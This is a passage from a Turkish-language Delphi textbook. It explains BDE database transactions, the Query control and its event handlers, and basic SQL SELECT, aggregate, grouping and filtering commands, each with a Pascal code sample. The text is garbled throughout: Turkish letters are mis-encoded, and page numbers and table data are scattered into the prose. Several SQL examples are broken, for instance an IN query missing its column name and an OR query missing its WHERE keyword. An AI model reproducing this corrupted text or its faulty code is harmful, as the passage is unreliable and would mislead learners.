kayıt de÷iúikli÷i iúlemlerini “Transaction” kullanarak yapmalısınız. Bu size güvenli bir ortam yaratacaktır. “Transaction” iúleminde “Delphi” nin yaptı÷ı iúlem, baúlatıldı÷ı anda boú bir “Database” oluúturmak ve yapılan tüm iúlemleri (tablonuza de÷il) bu database kaydetmekten ibarettir. Uygulayaca÷ınız iúlem baúarılı bir úekilde gerçekleúirse sonuçları Database den tablonuza kolayca aktarabilirsiniz. ùayet bir aksaklık çıkarsa bu durumda “Transaction” iúlemini iptal ederek eski konumunuza dönebilirsiniz. “Transaction” iúleminden sonra yapılan de÷iúiklikleri bir bütün olarak düúünmelisiniz. Ya hepsini geri alırsınız veya hepsini topluca tablonuza yazdırırsınız. Aúa÷ıda “Transaction” iúleminde kullanaca÷ınız komutlar gösterilmektedir. Uyarı:ùayet “Transaction” iúlemi uygulayacaksanız tablonuzda muhakkak index bulunmalı ve aktif hale geçirilmelidir. Yukarıda da bahsetti÷imiz gibi “Transaction” iúlemi sırasında yapılan tüm iúlemler yenibir “Database” nesnesi içerisinde tutulacaktır. Bu yüzden formunuza “BDE” yapra÷ında yer alan “Database” kontrolünden bir adet yerleútirmeyi unutmayınız. Database Kontrolü “BDE” Yapra÷ında yer alan bu kontrol sayesinde kolaylıkla “Transaction” iúlemini gerçekleútirebilirsiniz. Yapaca÷ınız tüm de÷iúiklikler bu yeni “Database” içerisinde kaydedilecektir. Aúa÷ıda bu iúlemleri baúarılı bir úekilde gerçekleútirebilmek için “Database” kontrolüne ait kullanabilece÷iniz özellik ve methodlar açıklanmaya çalıúılmaktadır. 63 x Database1.DatabaseName “Database” kontrolünün oluúturulaca÷ı yeri belirlemek amaçlı kullanılan özelli÷idir. Bu özelli÷e kalasörün yolu girilebilece÷i gibi “Alias” isminide girebilirsiniz (siz hep alias ismini giriniz). procedure TForm2.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; Table1.Open; end; x DataBase1.Connected “Database” ba÷lantısını açıp kapatmak için kullanılan özelli÷idir. “True” de÷erinin aktarılması ba÷lantının kurulması anlamını içermektedir. “False” de÷eri aktarılırsa ba÷lantı kapatılacaktır. procedure TForm2.FormCreate(Sender: TObject); begin Database1.DatabaseName:='gazi'; DataBase1.Connected:=true; Table1.Open; end; x Database1.StartTransaction Transaction iúlemini baúlatan methoddur. Bu satırdan sonra tabloda yapılacak olan tüm de÷iúiklikler bu “Database” içerisinde kaydedilecektir. procedure TForm2.Button1Click(Sender: TObject); //Baúlat begin Database1.StartTransaction;//Transactionı baúlat end; x Database1.Commit “DataBase” içerisinde tutulan de÷iúiklikleri tabloya yansıtmak amaçlı kullanılan komuttur. Bu komuttan sonra “Transaction” iúlemi sona erecektir. “Database içerisinde depolanan bilgiler sıfırlanacaktır. Yeniden “Transaction” 64 uygulanacaksa bu kullanılmalıdır. komuttan sonra tekrar “StartTransaction” methodu procedure TForm2.Button2Click(Sender: TObject); //Tabloya yaz begin Database1.Commit;//uygula end; x Database1.Rollback “StartTransaction” methodundan sonra “Database” nesnesi içerisinde yapılan tüm de÷iúiklikleri iptal etmek amaçlı kullanılan komuttur. Yine bu komut “Transaction” iúlemini bitirecektir. ùayet tekrar “Transaction” uygulanacaksa “StartTransaction” komutu yeniden verilmelidir. De÷iúikliklerin iptal edilmesinden sonra tabloda son durumu görmek isterseniz, tablonuzu “Refresh” etmelisiniz. procedure TForm2.Button3Click(Sender: TObject); //øptal Et begin Database1.Rollback;//De÷iúiklikleri iptal et Table1.Refresh;//son durumu tabloda göster end; x Database1.InTransaction “Transaction” iúlemi yokken “RoolBack” veya “Commit” komutlarını uygularsanız uygulamanız sizi kendi hata mesajınızla uyaracaktır. Bu yüzden belirtilen komutla “Trandsaction” iúleminin var olup olmadı÷ını kontrol edebilir, ona göre komut iúletebilirsiniz. Özelli÷in “True” de÷erini alması “Transaction” iúleminin halen uygulandı÷ı anlamını taúımaktadır. procedure TForm2.Button3Click(Sender: TObject); //øptal Et begin if Database1.InTransaction=true Then begin Database1.Rollback;//DEöøùøKLøKLERø øPTAL ET Table1.Refresh; end; end; 65 x Database1.TransIsolation “Transaction” uygulanacak olan VeriTabanının a÷ ortamındamı yoksa lokaldemi olup olmadı÷ını belirleyen özelli÷idir. Alabilece÷i seçenekler aúa÷ıda verilmiútir. TransIsolation tiReadCommitted tiDirtyRead tiRepeatableRead procedure TForm2.FormCreate(Sender: TObject); begin Table1.DefaultIndex:=true;//index aktif olmalı Database1.TransIsolation:=tiDirtyRead;//de÷iútirmeyi unutmayın Database1.DatabaseName:='gazi'; DataBase1.Connected:=true; Table1.Open; end; ùimdi aúa÷ıdaki tasarımı oluúturarak verilen kodları “Unit” pencerenize ekleyiniz. Uygulama için formunuza bir adet “Table”, bir adet “DataSource”, bir adet “Database”, bir adet “DataGrid”, bir adet “GroupBox”, üç adette button kontrolü yerleútirin. ùimdide uygulamanıza ekleyece÷iniz kod bloklarını verelim. Bu kodları gerekli yordamlara ekleyiniz. 66 procedure TForm2.FormCreate(Sender: TObject); begin Table1.DefaultIndex:=true;//index aktif olmalı Database1.TransIsolation:=tiDirtyRead; Database1.DatabaseName:='gazi'; DataBase1.Connected:=true;//ba÷lan Table1.Open;//kodla yapın end; procedure TForm2.Button1Click(Sender: TObject); //Baúlat begin Database1.StartTransaction;//Transactionı baúlat Form2.Caption:='Transaction Açık'; end; procedure TForm2.Button2Click(Sender: TObject); //Tabloya yaz var deger:Integer; begin if Database1.InTransaction Then//transaction varsa begin Database1.Commit;//uygula ShowMessage('Tüm De÷iúiklikler Kaydedildi'); Form2.Caption:='Transaction Kapalı'; end else begin deger:=Application.MessageBox('Transaction Kapalı Baúlatalımmı', 'Transaction Baúlat',MB_YESNO); if deger=mrYes Then Database1.StartTransaction;//Tekrar Baúlat Form2.Caption:='Transaction Açık'; end; end; procedure TForm2.Button3Click(Sender: TObject); //øptal Et var deger:Integer; begin if Database1.InTransaction=true Then begin Database1.Rollback;//Tüm de÷iúiklikler iptal Table1.Refresh;//Verileri yenile 67 ShowMessage('De÷iúiklikler øptal Edildi'); Form2.Caption:='Transaction Kapalı'; end else begin deger:=Application.MessageBox('Transaction Kapalı Baúlatalımmı', 'Transaction Baúlat',MB_YESNO); if deger=mrYes Then Database1.StartTransaction;//Tekrar Baúlat Form2.Caption:='Transaction Açık'; end; end; Uygulamanızı çalıútırdıktan sonra “Baúlat” dü÷mesine tıklayın (Transaction øúlemi baúlatılacaktır). Ardından tablonuzdaki kayıtlardan arka arkaya bir kaç tanesini silin (sildi÷iniz kayıtlar Database nesnesine kaydedildi). Sildi÷iniz kayıtları geri almak için “øptal Et” dü÷mesini, Tablonuzdan da silinmesi için “Tabloya Yaz” dü÷mesini tıklayabilirsiniz. 68 Query Kontrolü: Veri kayna÷ına ba÷lantı yapabilmek için úu ana kadar hep “Table” kontrolünü kullandık. Fakat “Table” kontrolü veritabanı ba÷lantıları için tek seçenek de÷ildir. Dilerseniz “Query” kontrolüylede tablolarınıza kolayca ba÷lanabilirsiniz. “Query” kontrolü uygulamalarınızda sizlere çok daha fazla esneklik sa÷layacaktır. Yinede ba÷lantı seçene÷i tamamen sizlere kalmıútır. “Query” kontrolüyle yapaca÷ınız ba÷lantıdan sonra tablonuza yine kayıt girebilir, aynı úekilde de÷iúiklikler yapabilirsiniz (Bu iúlem her zaman mümkün olmayabilir. Özellikle birden fazla tabloyu birleútirerek bir sorgu oluúturduysanız kayıt iúlemlerinizi yapmanıza izin vermeyebilir. Çok da mantıklıdır). Aúa÷ıdaki adımları izleyerek “Query” ba÷lanabilece÷inizi ö÷renebilirsiniz. kontrolü ile Tablonuza nasıl Birinci adımda formunuza bir adet “ScrollBox” kontrolü yerleútirip “Align” özelli÷ine “alClient” de÷erini aktarın (Ba÷lantı için zorunlu de÷ildir. Fakat formunuza çok estetik bir görünüm kazandıracaktır). økinci adımda formunuza bir adet “BDE” Yapra÷ında yer alan “Query” kontrolünü sürükleyip bırakın. “Query” kontrolünü seçip “DataBaseName” özelli÷ine tablonuzun bulundu÷u klasörü referans gösteren “Alias” isminizi aktarın. Dördüncü adımda “Object Inspector” penceresinde yer alan “SQL” özelli÷ine tıklayarak açılan editore sorgu komutlarınızı girin. “OK” Dü÷mesine bastıktan sonra “Query” kontrolünüzün “Object Inspector” penceresinden (kodlada yapabilirsiniz) “Active” özelli÷ini true yapın. 69 Formunuza “DataAccess” Yapra÷ında yer alan “DataSource” nesnesinden bir adet yerleútirip “DataSet” özelli÷ine “Query1” nesnesini aktarın. Yedinci adımda formunuza bir adet “DataControls” yapra÷ında yer alan “DataGrid” nesnesi yerleútirip “DataSource” özelli÷ine “DataSource1” nesnesini aktarın. Artık uygulamanızı çalıútırabilirsiniz. Tüm kayıtların “DataGrid” nesnesine aktarıldı÷ını göreceksiniz. x Query1.DatabaseName Tablonuzun bulundu÷u klasörü referans gösteren “Alias” ismini bu özelli÷e aktarabilirsiniz. Bu sayede o klasörde bulunan tüm tablolar kolayca sorgulanabilecektir (Klasör yolunuda verebilirsiniz ama siz hep Alias ismini kullanın). procedure TForm1.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi';//Alias ismini aktarın end; x Query1.SQL.Add Sorgu komutunuzu aktarabilece÷iniz methoddur. Burada sorgulamak için “DataBaseName” özelli÷ine aktardı÷ınız alias içerisinde bulunan tüm tablo isimlerini kullanabilirsiniz (birden fazla tabloyu iç içe sorgulayabilirsiniz). “Query” kontrolünüz deki “SQL” sorgusunda yapaca÷ınız her de÷iúiklikten sonra verileri izleyebilmek için “Query1.Open” satırını kullanmalısınız. Aksi takdirde düzgün bir “SQL” komutu yazsanız bile sonuçları “DataGrid” nesnesinde göremezsiniz. 70 procedure TForm1.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.SQL.Add('Select * From servis');//sorgu komutları Query1.Open; end; x Query1.Open “Query” kontrolü içerisinde yer alan kayıtları kullanıma açmayı sa÷layan methoddur. Kontrol sorgu komutlarında yapılan her de÷iúiklikten sonra kullanılması gerekecektir (sadece zamanını iyi belirlemelisiniz). procedure TForm1.FormCreate(Sender: TObject); begin Query1.Open; end; x Query1.RequestLive Varsayılan olarak bu de÷er “false” dır. Yani “Query” kontrolünden kayıt girme iúlemi yapılamaz. ùayet bu özelli÷e “True” de÷erini aktarırsanız, tablonuza yeni kayıt ekleyebilir, kayıt de÷iútirebilirsiniz (bilhassa birden fazla tabloyla çalıúıyorsanız bu özelli÷e true aktarsanız bile kayıt giremiyebilirsiniz). procedure TForm1.FormCreate(Sender: TObject); begin Query1.RequestLive:=true;//kayıt iúlemlerine izin ver end; x Query1.Close Açık olan “Query” kontrolünü kapatmak için kullanılan methoddur. ùayet “DataGrid” nesnesi içeriklerini “Query” den alıyorsa, bu komuttan sonra hiç bir kaydı göstermeyecektir. procedure TForm1.FormCreate(Sender: TObject); begin Query1.Close;//DataGrid hiç bir kaydı artık göstermez end; 71 Query Kontrolüne Ait Yordamlar: Query kontrolüyle iúlem yaparken kontrolün kullandı÷ı bir çok tetikleyici ile çalıúabilirsiniz. Aúa÷ıda bu tetikleyicilere de÷inilmektedir. x AfterCancel Yordamı “DBNavigator” kontrolündeki (kodla oluúturmuú ta olabilirsiniz) Cancel dü÷mesinin tıklanılması durumunda iúleyen bir yordamdır. procedure TForm1.Query1AfterCancel(DataSet: TDataSet); begin ShowMessage('øúlemi øptal Ettiniz'); end; x AfterClose Yordamı “Query” kontrolü ile ba÷lantı koptu÷u anda iúleyen bir yordamdır. “Query1.Close” komutu bu yordamı otomatik olarak iúletecektir. procedure TForm1.Query1AfterClose(DataSet: TDataSet); begin ShowMessage('Ba÷lantıyı Kapattınız'); end; x AfterDelete Yordamı “Query” kontrolünden bir kaydın silinmesi durumunda otomatik olarak iúleyen bir yordamdır. procedure TForm1.Query1AfterDelete(DataSet: TDataSet); begin ShowMessage('Kayıt Silindi'); end; x AfterEdit Yordamı “Query” Edit moduna alındı÷ı anda (Navigator kontrolündeki Edit dü÷mesine basılırsa) otomatik olarak iúleyen bir yordamdır. Bu yordamın iúletilmesi için “Query1.Edit” komutunun verilmesi yeterli olacaktır. 72 procedure TForm1.Query1AfterEdit(DataSet: TDataSet); begin ShowMessage('Kayıt De÷iútirme Moduna Geçtiniz); end; x AfterInsert Yordamı Kayıt ekleme iúlemi yapıldı÷ı anda otomatik olarak iúleyen bir yordamdır. procedure TForm1.Query1AfterInsert(DataSet: TDataSet); begin ShowMessage('Kayıt Eklemek østediniz'); end; x AfterPost Yordamı Kaydet dü÷mesine basıldıktan sonra iúleyen yordamdır. procedure TForm1.Query1AfterPost(DataSet: TDataSet); begin ShowMessage('Kayıt øúlemi Baúarıyla Tamamkandı'); end; x AfterRefresh Yordamı “Refresh” dü÷mesine tıklanıldıktan sonra otomatik olarak iúleyen bir yordamdır. procedure TForm1.Query1AfterRefresh(DataSet: TDataSet); begin ShowMessage('Kayıtlar Güncellendi'); end; x OnCalcFields Yordamı “Query” kontrolünde sütunları hesaplatmak için kullanılan yordamdır. Table kontrolünde bu yordama örnek verilmiútir. Bu yüzden tekrar örneklendirilmeyecektir. Örnek verilen yordamların “Before” ile baúlayanları da “After” ile aynı zamanda tetiklenmektedir. Sade birincisi iúlem tamamlanmadan önce di÷eri ise tamamlandıktan sonra iúlemektedir. 73 Wizard Kullanarak Query Kontrolüyle Tabloya Ba÷lanmak: Aúa÷ıdaki adımları izleyerek “Query” kontrolü sayesinde tablolarınıza ba÷lanabilirsiniz. “File->New->Other” seçeneklerini seçin. Açılan “New Item” penceresinden “Business” yapra÷ında yer alan “Database FormWizard” iconuna çift tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencerede “DataSet Options” kısmından “Create a form using Tquery” objects seçene÷ini iúaretleyip Next dü÷mesine tıklayın. Yeni açılan pencereden “SERVIS” tablonuzu bularak “Next” dü÷mesine tuklayın. Buradan sonraki adımları “Table” kontrolünde yaptı÷ımız úekilde tamamlayıp “Finish” buttonuna tıklayın. Son adımdan sonraki ekran görüntünüz yukarıdaki úekilde gerçekleúecektir. 74 BÖLÜM 2 STANDART SQL KOMUTLARI 75 76 SQL Komutları: Bu bölümde sizlere Veri Tabanı iúlemlerinde en çok kullanılan komutlardan bahsedece÷im. Komutlar Standart SQL Komutları olarak adlandırılmakta olup neredeyse bütün dillerde aynı kalıp yapısıyla kullanılmaktadırlar.Hatırlatmak isterim “SQL” Komutlarını ne kadar iyi kullanabilirseniz, o derece iyi bir Veri Tabanı programcısı sayılırsınız. Aúa÷ıdaki tabloda tüm “SQL” Komutları için kullanaca÷ımız satırlar verilmiútir. ùayet mümkünse aynısını paradox tablosu olarak oluúturunuz. MAGAZAADI SERVISTARIHI FIRMA AÇIKLAMA TUTAR MIGROS 01/02/2003 KLIMA 150000000,00 GIMA MIGROS DIA 02/03/2003 02/05/2003 03/04/2003 TESISAT KLIMA HAVALAND. 250000000 125000000 250000000 DIA MIGROS GURALLAR 05/04/2003 05/04/2003 06/08/2003 TESISAT KLIMA KLIMA 100000000 150000000 250000000 GURSOYLAR 04/07/2003 TESISAT 100000000 UGUR MUHENDISLIK ALPSAN ALPYAPI UGUR MUHENDISLIK ALPSAN ALPYAPI UGUR MUHENDISLIK ALPYAPI Örnekler içinde daha önceden oluúturulmuú olan “gazi” aliası içerisindeki “SERVIS” Tablosu kullanılacaktır. Tüm Kayıtları Listelemek: Tablodaki tüm kayıtları listelemek için aúa÷ıda verilen SQL Komutlarını kullanabilirsiniz. Aúa÷ıdaki kodu formunuzun gerekli yordamına ekleyiniz. 77 procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS'); Query1.Open; end; Burada yapılan bir seçme sorgusudur, yani tablodan uygun kayıtların sökülüp alınması olayıdır. Bu iúlem için “Select” ifadesiyle baúlayan bir komut satırına ihtiyaç duyulacaktır. Sadece østenilen Sütunları Listelemek: Tüm sütunları listelemek istemiyorsanız (“*”) karakterini kullanamazsınız. Bu karakterin yerine listelemek istedi÷iniz sütun isimlerini araya “,” koyarak yanyana yazmanız gerekecektir. procedure TForm3.FormCreate(Sender: TObject); //østenilen sütunları listele begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI,FATURATUTARI From SERVIS'); Query1.Open; end; Programı çalıútırırsanız sadece yazmıú oldu÷unuz sütunlar listelenecektir. 78 Yeni Sütun Baúlıkları Belirlemek: Tabloda sütunlar oluúturulurken isimlendirmede genellikle kısıtlamalar uygulanır. Haliyle DataGrid içerisindeki gösterimde kötü bir görünüme sebep olacaktır. Bu yüzden oluúturulan sütunlara yeniden isim vermek zorunda kalacaksınız. Aúa÷ıda bu iúlem örneklendirilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI Magaza_Adi,FATURATUTARI Tutar From SERVIS'); Query1.Open; end; Yeni Sütun Eklemek: Bazı durumlarda tablonuzda var olmayan fakat di÷er sütunlardan hesaplanabilecek sütunlar oluúturmak zorunda kalabilirsiniz. Bu tip durumlarda aúa÷ıdaki úekilde bir sorgu komutu kullanmalısınız. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI, FATURATUTARI,FATURATUTARI*0.15 KDV,FATURATUTARI*1.15 TOPLAM From SERVIS'); Query1.Open;end; 79 Uygulamayı çalıútırırsanız aúa÷ıdaki úekilde tablonuzda yer almayan iki sütununuz DataGrid nesnenizde gözükecektir. Dilerseniz bu yöntemle iki (vaya daha fazla) string sütunu da yanyana yazdırabilirsiniz. Sıralama Yapmak (Order By): Tablolarınızdaki seçme sorgularının bir sütuna göre sıralı bir úekilde gözükmesini isterseniz o zaman aúa÷ıdaki úekilde bir komut dizisi kullanmalısınız. Sorgulama sonucuna dikkat edecek olursanız, tablo kayıtları “MAGAZAADI” sütununa göre “A-Z” ye do÷ru sıralı halde karúınıza gelecektir. Bu tür sıralatma iúlemlerini tablo nesnelerinde index ler yapmakta olup, “Query” kontrolü kullanırsanız “Order By” komutuna ihtiyacınız olacaktır. 80 procedure TForm3.FormCreate(Sender: TObject); //Ma÷aza Adına Göre sırala begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI'); Query1.Open; end; Dilerseniz “Z-A” ya do÷ru bir sıralamada yaptırabilirsiniz. O zaman sorgu komutlarınızı aúa÷ıdaki úekilde de÷iútirmeniz gerekecektir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI DESC'); Query1.Open; end; “Order By” komutundan sonra “DESC” bildirisini kullanırsanız sıralatmanın tersten yapılaca÷ını programa bildirmiú olursunuz. Bu parametre yazılmadı÷ı zaman Delphi “Asc” parametresini varsayılan de÷er olarak kabul edecek, küçükten büyü÷e veya “A-Z” ye do÷ru bir sıralama yaptıracaktır. Aynı örnek için úöyle bir senaryo türetelim. Ma÷aza isimleri aynı olan ma÷azaları da ikinci olarak servis tarihine göre büyükten küçü÷e do÷ru sıralasın. Kodu aúa÷ıdaki úekilde de÷iútiriniz. 81 procedure TForm3.FormCreate(Sender: TObject); //økili Sıralatma begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Order By MAGAZAADI DESC,SERVISTARIHI'); Query1.Open; end; Program öncelikle tüm tabloyu ma÷aza adına göre sıralar (Tersten). Daha sonra “Order By” ile belirtilen ikinci parametreye göre ma÷aza adı aynı olan kayıtları Servis Tarihine göre küçükten büyü÷e do÷ru sıralayacaktır. Aynı Kaydı Birkere Listelemek(Distinct): Sorgunuzda göstermek istedi÷iniz sütun de÷erlerinin tamamının aynı olması durumunda, bir tanesini yazdırmak için kullanaca÷ınız komut “Distinct” komutudur. Hatırlatalım gösterilecek olan sütunlardan bir tanesi “Primary veya Unique” index özelli÷ine sahipse zaten böyle bir durumun oluúmasına imkan yoktur. “Distinct” komutunu Select ifadesinden hemen sonra koymalısınız. Rasgele bir yerde belirtme úansınız yoktur. Aúa÷ıdaki örnek sorgulama da “MAGAZAADI” ile “SERVISTARIHI” aynı olan kayıtlar sadece bir kere yazdırılmaktadır. 82 procedure TForm3.FormCreate(Sender: TObject); //Aynı Kaydı Bir kere Yaz begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select Distinct MAGAZAADI,GIDENFIRMA From SERVIS'); Query1.Open; end; Sorguda listelenmeyen hücre de÷erlerindeki eúitli÷in “Distinct” komutu için bir önemi yoktur. Matematiksel Sorgu Komutları: ùimdi sizlere matematiksel hesap yaptırabilece÷iniz SQL komutlarından behsedece÷im. Sütundaki En Yüksek De÷eri Hesaplamak(Max): Tablonuzdaki bir sütuna ait en yüksek de÷eri hesaplamak için “Max” komutundan faydalanmaktayız. Aúa÷ıda bu komuta ait örneklendirme gerçekleútirilmiútir. procedure TForm3.FormCreate(Sender: TObject); //en yüksek maaúı bul begin Query1.DatabaseName:='gazi'; 83 Query1.Close; Query1.SQL.Add('Select MAX(FATURATUTARI) MAXIMUM_MIKTAR From SERVIS'); Query1.Open; end; Programı çalıútırırsanız yukarıda ki pencerede görüldü÷ü gibi sadece tek bir hücre de÷erinden oluúan sorgu sonucunu görebilirsiniz. Sütundaki En Küçük De÷eri Bulmak(Min): Tablonuzdaki bir sütuna ait en küçük de÷eri hesaplamak için “Min” komutundan faydalanmaktayız. Aúa÷ıda bu komuta ait örneklendirme gerçekleútirilmiútir. procedure TForm3.FormCreate(Sender: TObject); //en yüksek maaúı bul begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MIN(FATURATUTARI) MAXIMUM_MIKTAR From SERVIS'); Query1.Open; end; Programı çalıútırırsanız aúa÷ıda ki pencerede görüldü÷ü gibi sadece tek bir hücre de÷erinden oluúan sorgu sonucunu görebilirsiniz. Bu de÷er o sütuna ait minimum de÷ere sahiptir. 84 Sütun Toplamını Bulmak(Sum): Sayısal içerikli sütunlara ait de÷erleri toplatmak için kullanılan SQL Komutudur. Aúa÷ıda bu komuta ait örneklendirme yapılmaktadır. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select SUM(FATURATUTARI) FATURA_TOPLAMI From SERVIS'); Query1.Open; end; 85 Sütun Ortalamasını Hesaplatmak(Avg): Sayısal içerikli sütunlara ait de÷erlerin ortalamasını hesaplamak için kullanılan SQL Komutudur. Aúa÷ıda bu komuta ait örneklendirme yapılmaktadır. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select AVG(FATURATUTARI) ORTALAMA_TUTAR From SERVIS'); Query1.Open; end; Kayıt Sayısını Bulmak(Count): Tablonuzdaki kayıt sayısını (veya kriterinize uyan kayıt sayısını)ö÷renebilmek için kullanabilece÷iniz sorgu komutudur. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select COUNT(MAGAZAADI) KAYIT_SAYISI From SERVIS'); Query1.Open; end; 86 Gruplandırma Yapmak(Group By): Aynı ma÷azaya yapılmıú olan servislerin tamamını tek kalemde göstermek için kullanılabilecek olan yapıdır. Gruplandırma iúlemini yaparken dikkatli olmanızı mantıksız gruplandırma iúlemleri yapmamanızı tavsiye ederim. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI,SUM(FATURATUTARI) MAGAZA_TOPLAMI From SERVIS Group By MAGAZAADI'); Query1.Open; end; 87 Sorgu sonucuna dikkat edecek olursanız, gerçekten de tüm ma÷azalara yapılmıú olan servis miktarları tek kalemde do÷ru bir úekilde hesaplattırılıp yazdırılmıútır. Gruplandırılmıú Sütunlara Koúul Koymak(Having): Yukarıdaki tablo için, amiriniz sizden toplam fatura tutarı içinde bir kriter belirleyip sonucu ona göre listelemenizi istese ne yaparsınız. SQL sorguları için, gruplandırılmıú sorgulara koúul koymak ancak “Having” komutuyla gerçekleútirilebilmektedir. Aúa÷ıda bu husus örneklendirilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select MAGAZAADI,SUM(FATURATUTARI) MAGAZA_TOPLAMI From SERVIS Group By MAGAZAADI Having Sum(FATURATUTARI)>150000000'); Query1.Open; end; Örnekte de görüldü÷ü gibi “Having” yapısı sayesinde gruplandırılarak oluúturulmuú olan sorgu sonucuna kolayca koúul konulabilmektedir. Yukarıdaki iki sonucu karúılaútıracak olursanız, grup toplamı 150.000.000 TL den az olanların ikinci raporda listelenmedi÷ini göreceksiniz. Bu komutlar arayıp ta bulamayaca÷ınız türden korkunç derecede etkili yapılardır. Bu yüzden kullanımına ait mantı÷ı lütfen dikkatlice takip ediniz. Hatırlatmakta fayda var Gruplama yapmadan asla “Having” yapısını kullanamazsınız. Önce “Group By” komutu ile tabloyu gruplandırın, ardından “Having” komutunu kullanarak koúulunuza uyan kayıtlarınızı listeletin. 88 Sorguya Koúul Koymak(Where): Oluúturaca÷ınız sorguya satır bazlı koúul koymak için kullanılan “SQL” Komutudur. Sanıyorum en çok kullanaca÷ınız (Select ten sonra) komut bu olacaktır. Sizden istenecek olan sadece “MIGROS” ma÷azasına ait kayıtları, veya úu miktarın üzerindeki kayıtları listeleme iúlemini gerçekleútirebilece÷iniz komuttur. Aúa÷ıda bu komuta ait örneklendirmeler yapılmaktadır. procedure TForm3.FormCreate(Sender: TObject); //Kriter koy begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI="MIGROS"'); Query1.Open; end; Sorgu sonucuna dikkat edecek olursanız sadece “MIGROS” Ma÷azalarına yapılmıú olan servislerin listelendi÷ini göreceksiniz. ùayet koúulu sayısal bir veri içeren sütuna koyacaksanız o zaman kodunuzu aúa÷ıdaki úekilde de÷iútirmelisiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; 89 Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI>=80000000'); Query1.Open; end; Aynı Anda Birden Fazla Koúulu Sa÷lamak(In): Önceki tablomuz için ma÷aza adı “MIGROS” ve fatura tutarı “125.000.000” den büyük olanları listelemeye çalıúalım. Dikkat edin iki úartın ikiside sa÷lanmak zorunda olacaktır. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; 90 Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI="MIGROS" and FATURATUTARI>=80000000'); Query1.Open; end; Kriterler arasına “and” operatörü koyarak istedi÷iniz kadar úart belirleyebilirsiniz. ùayet bu iúlem sizin için sıkıcı olursa, ve tek sütun için birden fazla koúul koyacaksanız, aúa÷ıdaki kodlamayı da kullanabilirsiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where in("MIGROS","DIA")'); Query1.Open; end; MAGAZAADI “In” Komutunu ve araya “,” karakterini koyarak aynı sütun için istedi÷iniz kadar kriteri yanyana belirtebilirsiniz. Delphi sorgulamada hepsine dikkat edecektir. Aynı Anda Birden Fazla ùartın Sa÷lanmaması(Not In): Bu sefer de ma÷aza adı “MIGROS” ile “DIA” olmayanları listelemeye çalıúalım. “SQL” Sorgunuz aúa÷ıdaki úekilde olmalıdır. Tek de÷iútirece÷iniz bölüm “In” yerine “Notin” komutunu koymak olacaktır. 91 procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where MAGAZAADI Not in("MIGROS","DIA")'); Query1.Open; end; Programı çalıútırırsanız yukarıdaki pencerede gözüktü÷ü gibi içerisinde “MIGROS” ve “DIA” ma÷azalarına yapılan servislerin dahil edilmedi÷i bir raporla karúılaúırsınız. ùartlardan Sadece Bir Tanesinin Yeterli Olması(Or): Belirtece÷iniz kriterlerden sadece bir tanesinin do÷ru olmasının (en az bir tanesinin) yeterli oldu÷u sorgu komutudur. Kullanımına ait örneklendirme aúa÷ıda verilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS MAGAZAADI="MIGROS" or MAGAZAADI="DIA"'); Query1.Open; end; 92 Where Sonuca dikkat edecek olursanız ma÷aza adı “MIGROS” veya “DIA” olan ma÷azaların tamamı listelenmiútir. Aralık Sorgulamak(Between): Aúa÷ıdaki yöntemlerle bir sütuna ait aralık de÷erine göre sorgulama yapabilirsiniz. Programa ait SQL Sorgusu aúa÷ıda verilmektedir. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; 93 Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI>=85000000 AND FATURATUTARI<=150000000'); Query1.Open; end; Aynı iúlevi gerçekleútiren kodu aúa÷ıdaki úekilde de yazdırabilirsiniz. procedure TForm3.FormCreate(Sender: TObject); begin Query1.DatabaseName:='gazi'; Query1.Close; Query1.SQL.Add('Select * From SERVIS Where FATURATUTARI Between 85000000 AND 150000000'); Query1.Open; end; øç øçe Select øfadesi Kullanmak: Select ifadeleri istenirse iç içe kullanılabilmektedir (belli bir mantık çerçevesinde). Daha önceki SQL komutlarını kullanarak “MAX” fatura tutarını hesaplatmıútık. ùimdi ise “MAX” Fatura tutarının yapıldı÷ı ma÷azaya ait kaydı belirlemeyi 